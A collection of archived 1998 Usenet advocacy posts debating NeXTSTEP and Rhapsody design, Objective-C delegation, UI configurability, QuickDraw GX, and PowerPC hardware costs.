Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 17:54:41 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <6g14vh$psi$1@crib.bevc.blacksburg.va.us>
References: <199801202218001457904@ppp8.hol.fr> <6g0bup$3a8$4@ns3.vrx.net> <6g10dc$poi$1@crib.bevc.blacksburg.va.us> <6g0gdq$3a8$10@ns3.vrx.net>
Xcanpos: shelf.01/199804150201!0043875720
In article <6g0gdq$3a8$10@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6g10dc$poi$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > Well, I was envisioning an "internal" connection.. when you associate a
> > script with the button, you're also transparently setting the button's
> > target to the script object and its action to a -doScript: method.
> > I think that's more or less what you want. If you had a button subclass,
> > you could also make the associated script an ivar of the button.
> Right, that's the part I wasn't looking at right. I was assuming that the
> script would be a property of the object itself, but that doesn't follow
> under OS.
Well, it's the old internal/external debate.. which properties do you
make internal, which do you make external? If you want to swap
properties in and out or share them among objects, you externalize them.
Otherwise you internalize them. Here, it's a question of whether you
want to subsume the script into the standard target or delegate of an
AppKit object, or make a new script delegate ivar. I can see a case
benig made either way.
> > You could do the same thing by instantiating an NSBeep from a palette
> > in the Instances window and drawing a connection from the button to the
> > NSBeep instance.
> Yeah, absolutely. The only issue there I think is that it gets a little
> messy. Then again, EOF does it.
That's why I think the Instances window in IB should itself be tabbed
or in some other way organizable into groups.
> > What sort of message? Any Obj-C message? I don't know how you'd work
> > that with the existing classes except by putting a proxy in front of the
> > actual object.
> Ok, that would work too.
I don't like that solution, though. I think it's messy having proxies
in front of everything.
> > On the other hand, you could subclass something like
> > NSButton and have default implementations of mouseDown:, etc. that
> > forwards to the delegate (if it exists).
> Right. Actually I've always though EVERYTHING should have a delegate.
Yeah, but the question is, which methods do you delegate? Whenever you've
got a pure virtual (in C++ parlance) or Template Method (in GOF parlance)
situation, I think that's often an appropriate place for a delegate..
it's not good to delegate _everything_ because you often don't want
_everything_ going to the delegate, if it exists. It's a case-by-case
design.
> > How about having a bunch of NSScript instances, and you just mix-and-match
> > the ones you want into your NSSC by stuffing the ones you want into a
> > dictionary, with the keys being the message names?
> Yeah, that would be even better. Then it starts rubbing into my
> pallet-of-common-actions-you-string-together idea.
Right. I've had ideas along those lines myself, but a good implementation
would require an implementation of a graph layout tool, which I have
yet to write.
> > Right, definitely. The only issue is getting all these messages to the
> > delegate, which I don't see how you could do without subclassing all of
> > the various graphical classes.
> Yeah, you'd have to. But shouldn't they anyway?
I don't like subclassing every single class you've given. It seems like
a bad solution. It smacks of C++, where you have to use subclassing in
places where Obj-C categorization would be more appropriate. It would
be better if you could add ivars to a class using a category, but Obj-C
doesn't support that. (It would be rather hard to "squeeze in" new
ivars at runtime, though you might be able to manage it at compile
or link time.) I almost like posing better than subclassing in this
kind of situation, or categorizing and holding the state you want to
add externally in a dictionary that maps object pointers to "instance
variables" (a common Obj-C hack, see the MiscClassVariable class in
the MiscKit).
They're all ugly solutions, but subclassing in particular is fragile
in that if you have a Foo and make a custom ScriptingFoo subclass, and
then someone makes a FooBar subclass of Foo, then you have to later go
and make a ScriptingFooBar subclass.. you end up having parallel class
hierarchies because the FooBar class can't inherit the ScriptingFoo
behavior, and it's a real problem. (This sort of thing pops up all the
time in OOP, which is why categories are a godsend and things like the
Bridge pattern were invented.)
> > > Mix your own scripts and C with that already in
> > > the kit's and other people's C subclasses of NSSC etc. Coooool.
> > Right, it's really a rather obvious solution if you think about it.
> Yeah, but would anyone see it if they weren't using OpenStep or SmallTalk?
Well.. it's not like (say) C++ really prevents the use of delegation
(though delegation isn't as nice because for every class that has a
delegate, you have to make a delegate class to go along with it.. you
can't just have the delegate be an arbitrary class and only send it
messages it has bothered to implement and responds to..) I think it's
more of a cultural thing. Because languages like Obj-C and Smalltalk
facilitate "nice" (and convenient, since you don't have to make lots
of extra classes) delegation, that sort of pattern is more pervasive in
frameworks written in those languages, so people who are experienced in
those frameworks tend to use that kind of solution more often.
Delegation becomes part of the "culture".
There's nothing _preventing_ you from doing this in C++, but the way
that C++ is traditionally used, and the added difficulty required to do
some of these things in a more static language, means that you don't
see that sort of solution as often, and programmers tend not to have
seen those things before or think of doing things that way. (Alas, most
Java programmers have been corrupted by C++ and don't realize the kinds
of things they can do in their more dynamic language.. though they're
still hampered by their strong typing system and lack of things like
categories, forwarding, and posing.)
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 23:04:07 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35241967.7F23E2F0@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523c19a.0@206.25.228.5> <3523C702.B22B2BDB@nstar.net> <3523d4b9.0@206.25.228.5>
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Xcanpos: shelf.01/199804150201!0047885382
John Kheit wrote:
[cut]
> > This is SO funny. I really mean that, this is hilarious. Because
> > I've just been taking it up the ass from people like Salvatore
> > Denaro who insist that X Windows doesn't do *enough* to construct
> > a pleasing UI, and now you're telling me that NEXTSTEP is actually
> > more *minimal*?
>
> Not really. I'm sure I did as little as possible to convey my
> meaning. The NeXTSTEP UI, in my opinion, tries to make a UI to work
> as well as possible for everyone. Of course, on an individual
> level, it will piss everyone off in some way or another. In my
> opinion, it pisses everyone off in sum total, less than any other
[cut]
Naw, I don't really buy it. Maybe to one person, or a small group of
people (the NeXT market?) it seems just about right, but the classic
second part of the 90% solution is this: "you don't like it? Fine, go
write your own". This is *precisely* the point of X Windows. There's no
reason that that concept couldn't have been applied to NEXTSTEP: "here's
a basic video layer, here's a basic windowing layer, here's your full
widget framework, and we think most people will like to use all three.
But we provide well-documented interfaces at each level and will support
you at whatever level you choose to use as a foundation for your work.
But the arrogance of NeXT was that it believed nobody of any value would
dislike its uppermost layers, unto perpetuity, so it rolled everything
into one ball of wax.
> I am not a proponent of 90% rule in this case. The problem with
> pleasing 90% of the people's needs 90% of the time is that will
> require them the ability to diddle, i.e. customize.
So allow them the ability.
> I am in a
> minority position that believes that this placating of their fancy
> is an overall hinderance upon productivity.
So giving an overwhelming majority of people what they want an
overwhelming majority of the time is wrong, because it might require
allowing them to do things you can't possibly provide for. This sounds
like the basis for modern American politics.
> So I might even like
> an OS, that pisses off 90% of the people if they are 200% more
> productive on it.
See, here's where I can't understand you. I'm talking about
configuration as an influence on productivity. But you see configuration
as "diddling", something that affects "how much a UI pisses somebody
off.", something that can scale inversely with productivity. Two totally
different definitions.
> > If you think that's what I'm talking about, you're dead wrong
> > and you've mistaken the context of my previous remarks. I despise
> > the waste of time induced by people with a System Folder full of
> > Kaleidoscope modules or a c:\windows directory filled with the
> > latest "Microsoft PowerToys". If I were a manager, I'd have those
> > people fired before they came in on their first day of work.
>
> Well, that's fine Mike, but that's what people generally do with
> the ability to customize. They waste time. That you don't is a
> credit to you. You are a better person than me. I'm one of the
> people you despise. Because, I know when I'm offered the ability
> to diddle, I inevitably will take it up. Under win95, I tried to
> make things more monotone, and made the fonts, so, and the scrollers
> so. And after a while I think, hmm, maybe they would be better
> this way. And, hey, wouldn't this set of icons be more subtle and
> refined. And I waste time. Heck, I wish I had a GUI decorator!
Well, that's okay, I try not to hire lawyers in the first place.
> Maybe it's harmless time. Maybe I would have just spent that time
> daydreaming. I don't know. But I do know that the *majority* of
> people do it. That there are exceptions, doesn't disprove the general
> case. And that's my general *corporate* argument against customization.
> That as a net sum game, it causes a greater loss of productivity
> than is gained.
Again, the difference between *decoration* and *configuration* is
relevant, here. I hate when people waste time decorating their UI. I
think it's great when somebody builds a little Tk program that helps
monitor td statistics or sets up a window in their environment to notify
them of console messages. These are totally antithetical to the concept
of *decoration*.
Let me give you a close-to-home example: my officemate has his
FvwmGoodStuff thingamajig *excruciatingly* configured to provide just
the right series of tools and information windows for his needs. He
spent a lot of time setting it up, but it's very helpful to him every
day, and it increases his productivity in very significant ways.
Another colleague has the Enlightenment window manager set up on his
workstation. He spent a whole bunch of time configuring it with themes
and all kinds of other goofy stuff to make his desktop look *really*
spiffy. Every second of that time was pure waste. Enlightenment chokes
the OS on memory, disk usage, and CPU time because it spends countless
extra cycles and resources on *drawing* extra gadgets and doodads and
shapemasks and whatnot, all for exactly *ZERO* productivity gain.
Now you tell me whether that's a difference you can acknowledge.
> That a good UI "decorator" can make a general case
> for the vast majority of people in which they will be more productive
> if they are not afforded the opportunity of customization; regardless
> of the level of substance or triviality. Just my experience and
> observations. Yours clearly differ.
No. I think we agree on the concept of decoration. But I don't think
you've yet discussed the matter of *configuration*.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The never ending X debate (WAS: Re: NeXT style scroll bars)
Date: Thu, 02 Apr 1998 23:12:27 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35241B5B.246B7869@nstar.net>
References: <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com> <3523444C.1418465B@nstar.net> <slrn6i7lum.kjl.sal@panix3.panix.com> <3523D9A1.80009B7C@nstar.net> <slrn6i81gr.kjl.sal@panix3.panix.com>
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Xcanpos: shelf.01/199804150201!0049458717
Salvatore Denaro wrote:
> You don't use Rhapsody. You have nver developed under Rhapsody. From your
> posts listing your problems under NeXTStep, it is clear to see that you have
> never had a chance to RTFM on NeXTStep.
I've read a considerable amount of documentation for NeXTstep. I got gcc
installed and functional from sources. I eventually got PPP running and
routing from sources; can you claim the same, Salvatore?
How nice to be able to *conveniently* ignore key sections of this
thread, including the part about NEXTSTEP "Just Working", and the list
of complaints I made being in *direct* response to that.
> Yet you post a never ending list of complients on it.
"Never-ending"? Silly Sal, I posted nary a complaint after I sold my
box, not a single one. I *did* describe my reasons for disagreeing with
the "NEXTSTEP Just Works" sentiment, and unfortunately a number of
people didn't read the context and took them for something else.
> You might have used it
> for a while, but it is clear that you do not know enough about it to contrast
> and compare it to X.
That's somewhat true, so it's a good thing I don't make posts to this
newsgroup attempting to do that very thing. Like I said, I'm no
PostScript programmer, and I defy you to find the posting in which I
critique DPS as a display layer...
> Ok, fine. You win. I am clueless about X. Now please enlighten me with your
> definitions.
[sigh] Philip Rulon and Richard Frith-MacDonald have both posted
independent answers to your questions, in this very thread. What's more,
I invite you to RTFM, Sal. After all, you're porting from X to NT, as
you say, so I expect you have the resources at your disposal.
MJP
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <892730540385.1080932258@gfgsfggs.com>
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From: Richard Murray <rmurray@argonet.co.uk>
Newsgroups: comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End users, it's time to stand up and be heard!
Date: Thu, 02 Apr 1998 21:12:17 BST
Organization: ArgoNet, but does not reflect its views
Distribution: world
Message-ID: <na.13a39b4830.a40040rmurray@argonet.co.uk>
References: <1018.390T1852T7945442@mindspring.com> <351D5E52.2627@yahoo.com> <7026.393T1200T5764246@mindspring.com> <7074.393T484T5883722@mindspring.com>
Xcanpos: shelf.01/199804150601!0028137757
In article <7074.393T484T5883722@mindspring.com>, "Timothy Rue"
<timrue@mindspring.com> wrote:
> I'm an end user who is very fed-up with this game the industry has been
> playing with itself.
<big snip>
Convergence International?
> What if: Amiga Inc. was to come out with a product that would allow all
> end users to connect it to their system (platform independant) and thru
> such a product are able to remove compatability problems?
Then Amiga users would be different. The rest of us would push for greater
JAVA compliancy. :-)
--
... "Everybody know there's, like, 50 guns at school at any given moment.
And the fact that they haven't gone off before shows you what a
totally safe place this is."
___
/__/ http://www.argonet.co.uk/users/rmurray/
/ \ichard. A5000,4Mb,Vision,sp_dual,SCSI,SimtecIDE;A3000,2Mb,Level4
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 17:44:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1497FDF-3099F@206.165.43.12>
References: <6g0gvb$3a8$11@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
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Xcanpos: shelf.01/199804150601!0030113902
Maury Markowitz <maury@remove_this.istar.ca> said:
> In <B14950AB-30914@206.165.43.94> "Lawson English" claimed:
> > But GX provides the layout capabilities needed for doing a PageMaker-
> level
> > DTP tool for the multi-lingual Asian market.
>
> Yeah, but I think OS does too. MY program is a graphics app, so I
don't
> care about those ones.
>
Most graphics apps need to be able to provide at least some text services.
Certainly, Freehand and Illustrator provide some. GX provides every text
service that I've seen for such an application and allows you to mix 2-byte
languages while doing it. It even handles the Unified Hangul problem, which
Unicode doesn't handle.
> > that market. Please show me how to write the equivalent level of
> > text-control using Rhaposdy? With GX, the control is already there. You
> > just need to apply word-wrap yourself.
>
> I think OS does that too.
I believe that you are wrong. I can point you to the GX typography manual
and point out the specific places where I suspect that OS doesn't provide
the same level of control without dropping down to DPS, which kinda makes
things a little difficult to do from a higher level, doncha agree?
Want some examples?
>
> > No. This whole "Rhaposdy is better" thing really boils down to "I can
do
> > what *I* need and to hell with innovation in the area of 2D graphics
> since
> > I don't care about anyone else's needs besides my own."
>
> Balogna. It's the "get off your butt and do it and stop whining about
it"
> camp. Sure, if I had all the things I wanted in Rhaps my program would
do
> THAT MUCH MORE, but for now I'll be happy because I'm still going to kick
> rump.
>
But the things that *I* want to do aren't available. For instance, can you
prototype new graphical interfaces within Rhapsody using a standardized
OOP/Object-based graphics engine?
Nope. Because
1) there's no such 2D engine in Rhapsody
2) there's no such 3D engine in Rhaposdy.
I can do this using HyperCard and GXFCN. I'm also looking at the
feasability of using QD3D from within HC. Since QD3D already knows how to
draw directly into a GX viewport, I can create a GX viewport and use QD3D
commands to render into it. I could (in theory, since there's some problems
with HC and shared libraries, apparently) then prototype any new kind of
2D/3D interface using an interpreted language. If I can get QD3D working
the same way that GXFCN does, you could have any and every HC programmer in
the world dabbling away using this.
> > That is what you've basically said and what many others have basically
> said
> > in response to me whenever I raise the point that GX can do something
> that
> > Rhapsody graphics and NSText cannot.
>
> You mean because you keep saying the same points over and over for well
> over a year now?
>
In response to the same erroneous claims about GX, CD, OD, etc.
> > Lame.
> >
> > Totally lame.
>
> Couldn't agree more!
>
> > I mean, it already exists, so why not make use of it or at least let
others
> > do so, instead of badmouthing the technology?
>
> That's what they're doing!
>
Who? Apple is NOT taking GX and doing anythign with it. Not really. When
will we see support for non-TT/Type1 fonts in Rhaposdy? Will Apple only
support the "industry standard" font types or will it allow 3rd parties to
plug-in font rasterizers as has always been the case with GX?
When?
> > Oh, right. You don't think much of OD and CD, either.
>
> No, just OD.
Ummmm...
And Brad Hutchings, who knows far more about CD and OD than you do, insists
that there are many things that CD does that can only be done by having a
document-oriented component system like OD. Your response hasn't been
anything more than "no there are not," without giving any proof to back
your claims up.
Kantara Software just brought out Blake, which uses the ActiveX control to
replace CD's browser with MIE. If I understand things right, all of MIE's
browser functionality is now embeddable within any standard OD container
part or app.
How does Rhaposdy do this? How do you do it without defining something like
OD?
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Eric A. Dubiel" <eadubie@rs6000.cmp.ilstu.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: OpenGL for Mac OS FREE
Date: Thu, 02 Apr 1998 18:19:30 -0600
Organization: Illinois State University
Message-ID: <35242B12.2816E8E4@rs6000.cmp.ilstu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
FYI...I just found out that OpenGL for Mac OS FREE via the Cosmo player
download installing Conix OpenGL support into the extensions folder...
See http://cosmosoftware.com/products/player/developer/main.html
It also supports most of the VRML 97 spec:
http://www.vrml.org/Specifications/VRML97/DIS/
Enjoy...
--
Eric A. Dubiel; http://www.ilstu.edu/~eadubie
"In the New Day That's Coming - FREEDOM
FOR ALL - Is Our Destiny, Yeah!" -- Robert Miles
<robert-miles@msn.com>, 23am, Freedom
VIEWS EXPRESSED ARE ENTIRELY MY OWN
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Thu, 02 Apr 1998 16:26:57 -0800
Organization: South Valley Internet
Message-ID: <stevehix-0204981626580001@ip43.safemail.com>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com>
Xcanpos: shelf.01/199804150601!0027131460
In article <slrn6i6f4f.j6l.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Wed, 01 Apr 1998 04:51:54 -0600, ianb@well.com <ianb@well.com> wrote:
> >I disagree - expansion is a hugely important plus for many users, and the all
> >in ones don't have enough expansion capabilities to satisfy them.
> The AIO has the same expansion. Apple should kill the Desktop 233 and lower
> the prices on the other Desktops. The DT266 should be at $1699 with an AV
> card in order to make it competitive with the AIO.
Well, some people with the 233 might want a bigger monitor than they get
with the AIO.
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: A comment or two
Date: Thu, 02 Apr 1998 12:46:42 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0204981246420001@dante.eng.uci.edu>
References: <6g0f3s$dft@newsb.netnews.att.com>
Xcanpos: shelf.01/199804150601!0034028548
In article <6g0f3s$dft@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>If the stuff rumored about Allegro (e.g., on MacOSRumors) is
>true, the question would be : are these all part of what was
>to be Copland ? Couldn't we have had these a couple of years
>ago ? (e.g., the rumor says 100% PowerPC native, native
>Applescript, complete re-write of QuickDraw).
Pretty much. But there seems to be some things that I don't recall being
part of Copland. I'd say it still lags behind Copland for 'core
technology' but is ahead of what was promised for 'functionality'. IMO.
>Previous Apple management probably didn't believe in the
>Macintosh, probably in their hearts believed Microsoft hype,
>and were looking to make an impossible leap. I don't believe
>that any of the things mentioned in the rumors were out of
>reach in 1996.
Nope.
>Kudos to Steve Jobs and the new Apple for believing in the
>Macintosh again !
Agreed. We'll see where he ultimately takes it, however.
>****
>
>On a completely different note, take a look at
>http://www.infoworld.com/cgi-bin/displayStory.pl?98042.ecncfalters.htm
>
>"In 1997, 144,040 NCs were shipped; 482,196 are expected to ship
>this year world-wide, according to Dataquest..."
>
>a. The precision is absurd, and likely comes from a meaningless
> "model".
Agreed. Even to say 450,000 - 500,000 is a bit absurd in an emerging
market like NC's. And to get shipping units to 5 s.f. - uh-huh.
>Nothing ever changes.
Nope. I think it is even getting worse.
-Bob Cassidy
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 13:16:46 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6g033u$80p$13@blue.hex.net>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <tbrown-3003982122070001@mv149.axom.com> <6fsc2b$brg$1@inconnu.isu.edu> <6fu6ag$3jr$1@interport.net> <3522A170.3DC9099@spamno.merge.com>
Xcanpos: shelf.01/199804141801!0013829353
On Wed, 01 Apr 1998 14:20:00 -0600, John Sevey
<jssevey@spamno.merge.com> wrote:
>float@interport.net wrote:
>> I've worked almost exclusively with x86 machines . . . and I am
>> convinced that the PowerPC architecture is vastly superior.
>>
>> If I could run a freely available unix on cheap, commodity PPC boxes,
>> I would do so without hesitation.
>
>Don't hesitate, try:
>http://www.mklinux.apple.com
>or
>http://www.linuxppc.org
>for info about running "a freely avaliable unix on cheap, commodity PPC
>boxes".
The problem is that one person's "cheap, commodity" PPC box is another
person's "isn't that overpriced?" PPC box.
You can put together an eminently functional *new* system including
monitor and a reasonable amount of RAM for about $1000 if you go with a
Cyrix/AMD CPU in the "Intel realm."
I don't see that in the PPC architecture. It looks like I have to start
out by spending about $2000 to get anything in a new system. And it's
not clear that it is all that much better than the $1000 "disposable"
system.
It'll surely have a faster CPU, but it may have the *same* hard drive,
and not (at least not *clearly*) be substantially faster from an I/O
perspective.
--
Q: Someone please enlighten me, but what are they packing into NT5 to
make it twice the size of NT4/EE? A: A whole chorus line of dancing
paperclips. <mcgredo@otter.mbay.net>
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35238f19.0@nnrp1.news.uk.psi.net>
Date: 2 Apr 98 13:14:01 GMT
Xcanpos: shelf.01/199804141801!0035546831
"Michael J. Peck" <mjpeck@nstar.net> wrote:
>Then there was lack of GUI configurability. I get used to a certain
>interactive style, and I want to move and raise/lower my NEXTSTEP
>windows that way. No dice, the prefs aren't any help. No rc files to
>edit, nothing, really, to configure at all.
>
>Then there was getting help on programs. The only way to do this was to
>spawn a GUI program, usually by starting the application in question,
>then choosing Help... from the menu and paging through some RTF file
>with left-handed scrollers and *NO* page up/page down keys. Then there
>was the fact that moving from window to window required not only mouse
>movement, but a click, because I couldn't Alt-Tab and I couldn't
>focus-follow-mouse. Back to the problem with GUI configuration.
>
First to brush aside your other points with the observation that they are
really the kind of problems you might expect on any unfamiliar system -
they do give the lie to the 'it just works' statement - from the point of
view of an axperienced 'power' user, NeXTstep is really no different from
any other UNIX based system with it's own proprietory foibles. No easier,
no harder.
Now, I don't want to come accross as too offensive, but your comments about
the UI read to me like someone with an attitude problem. It sounds like you
approached the system trying to make it like what you were used to rather
then trying to see what it could offer and if it did anything better.
When I first got hold of NeXTstep - I tried working with it as it came out
of the box for over a week. I read the manuals, (especially the 'power tips'
booklet) and tried doing things the way they were intended to be done.
By the end of that week, I was used to different ways things were done and
had discovered that I didn't want to customise many things.
At long last I had discovered a GUI that (overall) let me do things more
efficiently than the shell.
If I could, I'd separate the buttons on the scroller a little, but that's
about the only thing I want to change that I can't.
If the first thing you do when you find something you are uncomfortable with
is to try to reconfigure it in a familiar manner, you will never learn what
its advantages and disadvantages are - and you will never learn how the
various features of the UI work together as a cohesive whole.
BTW - I can still remember my initial reaction to click-to-focus was revulsion
because I kept forgetting to click, within a few days, I felt at home with it
and hated focus-follows-mouse.
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523BFDF.529161F8@nstar.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3523ca1d.0@206.25.228.5>
Date: 2 Apr 98 17:25:49 GMT
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> I never really looked at it from the point of view of *my*
> attitude. I think I just assumed that the stubborn obstinence of
> NeXT advocates, proudly, angrily pissing in the wind on the issue
> of scrollbars (among others) was a matter of *their* attitude,
> somewhat akin to the proud Mac user making his case for cooperative
> multi-tasking.
Well, that's a stretch. I have to say, I really prefer it on the
left side because it reduces scrolling. I got used to it. I see
by a majority of people's complaints, that isn't the norm. So fine
set it up on the right. I still think it's more efficacious on
the left, but I don't mind it on th right. You're a type 3 user
(see my previous post) and so that stuff bugs you. If I were your
boss, I'd be pissed that you are a type 3 user. I pay bills.
Guess who's opinion matters more? You're not in *your* home, you
are in *my* office, diddling on *my* time. And that pisses *me*
off. That's the argument for consistency and a lack of configurability.
It's not a warm and fuzzy argument. Heck, it's not a warm and
fuzzy world a lot of times. But I know if I were paying out of my
pocket, it would bother me a lot that my employees were constantly
wasting time turning on and off different perwinkle blinkees. And
that's exactly what happens the majority of the time. Now you
might be in the minority that can restrain yourself, but the
exception doesn't disprove the general rule.
> But now it's obvious that all the rest of us are not just wrong,
> we've got an attitude. Forgive us.
Hey, if it works for you, more power to you. I like diddling as
much as the next guy. But I see the beauty of a solid nonchanging
foundation. Consistency. I like my text books to use the same
style throughout, not one that changes every few pages. I feel
the same about my GUI. That's not to say a look shouldn't be
refined. Hey even Mickey has gotten updated over time. But there
has been a general consistency. Oh well, I don't know if I'm
voicing my meaning very well. Regardless, If you don't see things
the same way, well, fine enough. Different strokes for different
folks.
> > When I first got hold of NeXTstep - I tried working with it as
> > it came out of the box for over a week. I read the manuals,
> > (especially the 'power tips' booklet) and tried doing things
> > the way they were intended to be done.
> Sorry, I'm trying not to laugh. I'm sure I could make a lifelong
> career of explaining to the masses what is "the way things were
> intended to be done" based on my previous MacOS advocacy. Or, in
> the same vein, I could move to France and join the language
> institute and help tell people how to speak their own language.
Well, you can also drive on any side of the road you like, until
you die in a crash and get scraped up by the spatula of life, or
get your ass thrown in jail. There are times when you should do
things in the way you are expected to.
> As a matter of fact, there's just nothing so special about NeXTstep
> that merits all this talk of Brave New Paradigms. You can feel
> free to hate me for saying that, but I'm no stranger to the odd
> magnification of adoration that occurs when you first meet a
> system you can really like, for personal reasons. But step back,
> man, and take a look at the big picture; I had to eventually get
> to a point where I could say that all my vapid spouting about
> virtuous MacOS firsts was basically irrelevant.
I agree, NS is not a appex of anykind. It has some interesting
ideas. I think we can move forward.
> > By the end of that week, I was used to different ways things
> > were done and had discovered that I didn't want to customise
> > many things. At long last I had discovered a GUI that (overall)
> > let me do things more efficiently than the shell.
> That's great, but it's not like I'm on the outside looking in,
> simply skeptical or puzzled at why this could be. I used the
> beloved Browser, and frankly, it sucks. It can't move files
> anywhere near as facilely as the Finder, yet raise the issue of
> the Finder for a NeXT advocate and you get an earful about
> "clutter". Magically the conversation has been transformed from
> "utility" to "aesthetics".
No, I find the browser much more useful in navigating large
filesystems. If I had to choose an either or, I would choose the
browser. Certainly it can be improved further to allow moving
files without temporary storage on a shelf. Clutter hurts utility
too. It's not just that it's piss ugly to have crap all over the
place, it slows me down from getting around the place and finding
things as well. But navigation of large file systems is significantly
better on the browser. If you didn't experience this, well, I
guess you didn't, and it's not your ball of wax.
> > If the first thing you do when you find something you are
> > uncomfortable with is to try to reconfigure it in a familiar
> > manner, you will never learn what its advantages and disadvantages
> > are - and you will never learn how the various features of the
> > UI work together as a cohesive whole.
> Oh, please. I did my best to wear the Spock ears and fit in with
> the whole thing, I really did. I've probably changed GUI environment
> more frequently than anybody I know, maybe more than you, who
> knows. I've learned a hundred different ways of "doing things"
> and I'm no stranger to culture shock. My dislike for NEXTSTEP's
> idiosyncracies goes far deeper than that.
> > BTW - I can still remember my initial reaction to click-to-focus
> > was revulsion because I kept forgetting to click, within a few
> > days, I felt at home with it and hated focus-follows-mouse.
> C'mon, this is insulting! I used click-to-focus for at least a
> year before I'd ever *seen* focus-follows-mouse. I like
> focus-follows-mouse better, and I have GOOD reasons for doing
> so. Don't act like I'm a spoiled child who's never been outside
> the boundaries of his parents' home.
See I disagree. I find equal facility with either. For certain
things one is better than the other. Choosing one and sticking
with it seems to be more important. Your mileage clearly varies.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Thu, 02 Apr 1998 13:54:23 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0204981354230001@dante.eng.uci.edu>
